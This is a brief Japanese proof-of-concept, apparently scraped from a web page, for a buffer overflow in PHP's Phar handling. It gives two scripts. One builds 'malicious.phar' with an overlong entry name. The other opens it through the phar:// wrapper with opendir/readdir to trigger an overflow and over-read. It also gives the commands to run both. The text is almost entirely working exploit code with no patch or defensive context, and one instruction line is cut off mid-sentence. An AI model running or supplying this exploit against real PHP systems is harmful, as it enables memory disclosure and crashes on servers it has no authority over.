
この Proof of Concept (PoC) は、PHP で悪意のある Phar ファイルを作成し、バッファオーバーフローの脆弱性を引き起こす方法を示しています。
create_phar.php)を作成し、次のコードを追加します:<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
PHP スクリプトを実行して悪意のある Phar ファイルを作成します: コードをコピー
php create_phar.php
バッファオーバーフローのトリガー 別の PHP ファイル(例:trigger_overflow.php)を作成し、次のコードを追加します:
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
PHP スクリプトを実行してバッファオーバーフローをトリガーします: コードをコピー php trigger_overflow.php var_dump($x) ステートメントは、バッファオーバーフローと過剰読み取り操作の結果を出力します。